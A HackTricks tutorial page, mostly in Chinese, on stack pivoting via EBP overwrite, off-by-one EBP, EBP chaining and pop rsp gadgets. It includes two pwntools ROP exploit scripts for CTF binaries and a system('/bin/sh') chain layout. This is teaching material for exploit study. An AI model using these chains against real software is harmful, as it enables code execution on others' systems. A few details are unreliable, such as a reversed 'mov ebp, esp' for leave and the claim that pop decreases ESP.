Stack Pivoting - EBP2Ret - EBP chaining

支持 HackTricks

基本信息

该技术利用操控 基指针 (EBP) 的能力,通过仔细使用 EBP 寄存器和 leave; ret 指令序列来链接多个函数的执行。

作为提醒,leave 基本上意味着:

mov       ebp, esp
pop       ebp
ret

And as the EBP is in the stack before the EIP it's possible to control it controlling the stack.

EBP2Ret

这个技术在你可以更改 EBP 寄存器但没有直接方法更改 EIP 寄存器时特别有用。它利用了函数执行完毕后的行为。

如果在 fvuln 执行期间,你设法在栈中注入一个指向内存中你 shellcode 地址的假 EBP(加上 4 字节以考虑 pop 操作),你可以间接控制 EIP。当 fvuln 返回时,ESP 被设置为这个构造的位置,随后的 pop 操作将 ESP 减少 4,有效地使其指向攻击者在其中存储的地址。 注意你需要知道 2 个地址:ESP 将要去的地址,以及你需要在 ESP 指向的地方写入的地址。

Exploit Construction

首先,你需要知道一个可以写入任意数据/地址的地址。ESP 将指向这里并运行第一个 ret

然后,你需要知道 ret 使用的地址,这将执行任意代码。你可以使用:

  • 一个有效的 ONE_GADGET 地址。

  • system() 的地址,后面跟 4 个垃圾字节"/bin/sh" 的地址(x86 位)。

  • 一个 jump esp; gadget 的地址(ret2esp),后面跟要执行的 shellcode

  • 一些 ROP

请记住,在受控内存的任何这些地址之前,必须有**4 字节**,因为 pop 部分的 leave 指令。可以利用这 4B 设置一个第二个假 EBP,并继续控制执行。

Off-By-One Exploit

这个技术有一个特定的变体,称为“Off-By-One Exploit”。当你只能修改 EBP 的最低有效字节时使用。在这种情况下,存储要跳转到的地址的内存位置与 ret 必须共享前 3 个字节,从而允许在更受限的条件下进行类似的操作。 通常会修改字节 0x00t 以尽可能远地跳转。

此外,通常在栈中使用 RET sled,并将真实的 ROP 链放在末尾,以使新的 ESP 更有可能指向 RET SLED 内部,并执行最终的 ROP 链。

EBP Chaining

因此,将一个受控地址放入栈的 EBP 条目中,并在 EIP 中放入一个 leave; ret 的地址,可以ESP 移动到栈中受控的 EBP 地址

现在,ESP 被控制,指向一个期望的地址,下一条要执行的指令是 RET。为了利用这一点,可以在受控的 ESP 位置放置以下内容:

  • &(next fake EBP) -> 由于 leave 指令中的 pop ebp 加载新的 EBP

  • system() -> 由 ret 调用

  • &(leave;ret) -> 在 system 结束后调用,它将 ESP 移动到假 EBP 并重新开始

  • &("/bin/sh")-> system 的参数

基本上,这种方式可以链接多个假 EBP 来控制程序的流程。

这就像一个 ret2lib,但更复杂,没有明显的好处,但在某些边缘情况下可能会很有趣。

此外,这里有一个 挑战示例,使用这个技术与 stack leak 来调用一个获胜函数。这是页面的最终有效载荷:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP 可能未被使用

正如 在这篇文章中解释的,如果一个二进制文件是使用某些优化编译的,EBP 永远无法控制 ESP,因此,任何通过控制 EBP 的漏洞利用基本上都会失败,因为它没有任何实际效果。 这是因为如果二进制文件经过优化,前言和尾声会发生变化

  • 未优化:

push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • 优化:

push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

其他控制 RSP 的方法

pop rsp gadget

在此页面 你可以找到使用此技术的示例。对于这个挑战,需要调用一个带有两个特定参数的函数,并且有一个 pop rsp gadget 和一个 来自栈的泄漏

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

查看 ret2esp 技术:

Ret2esp / Ret2reg

参考资料与其他示例

ARM64

在 ARM64 中,函数的 前言和尾声 不在堆栈中存储和检索 SP 寄存器。此外,RET 指令不会返回到 SP 指向的地址,而是 返回到 x30 内的地址

因此,默认情况下,仅仅利用尾声你 无法通过覆盖堆栈中的某些数据来控制 SP 寄存器。即使你设法控制了 SP,你仍然需要一种方法来 控制 x30 寄存器。

  • 前言

sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP 指向帧记录
  • 尾声

ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

在 ARM64 中执行类似于堆栈 pivoting 的方法是能够 控制 SP(通过控制某个寄存器的值传递给 SP,或者因为某种原因 SP 从堆栈获取其地址并且我们有一个溢出),然后 利用尾声受控的 SP 加载 x30 寄存器并 RET 到它。

在以下页面中,你可以看到 ARM64 中的 Ret2esp 等价物

Ret2esp / Ret2reg
支持 HackTricks

Last updated